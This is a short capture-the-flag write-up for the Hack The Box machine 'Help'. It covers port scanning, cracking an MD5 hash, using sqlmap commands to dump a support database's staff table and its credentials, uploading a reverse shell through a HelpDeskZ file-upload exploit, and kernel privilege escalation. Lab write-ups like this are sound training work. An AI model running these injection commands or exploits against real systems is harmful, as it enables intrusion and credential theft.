Help #23 SQL injection, eBPF priv esc (Linux)

Help:

Nmap Result: 

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

52838/tcp open  unknown

port 80:

dirsearch result

/support

Links Took me to help.htb so I registered them on /etc/hosts file.

Port 3000: 

Node.js Express framework

helpme@helpme.com

got a hash: 5d3c93182bb20f07b994a7f617e99cff

Cracked the MD5

godhelpmeplz

Now I'm authenticated, so we can try using the exploit:

The exploit suggests if we submit a ticket with a random file, and click it, we can proceed.

We need to copy the request we make when we click the attachment.

dumping databases with sqlmap -r request.req --batch --dbs

found some database names:

support looks interesting.

❯ sqlmap -r request.req -D support --tables ─

-D database

--dump table names

sqlmap -r request.req -D support -T staff --dump

dumping all the info from the table.

it automatically cracked password that it found.

Administrator : Welcome1

This was the password for the user help

---

I was also able to get a shell with the following exploit

HelpDeskZ 1.0.2 - Arbitrary File Upload

I uploaded a reverse shell via submitting a ticket and called it

Exploit suggester showing so many options:

dirtycow:

dirty cow didn't work for some reason:

Instead, I tried the exploit and it worked.

PreviousJarvis #24 SQL Injection (UNION) & abusing systemctl with wrong permission.NextHTB Friendzone #22

Last updated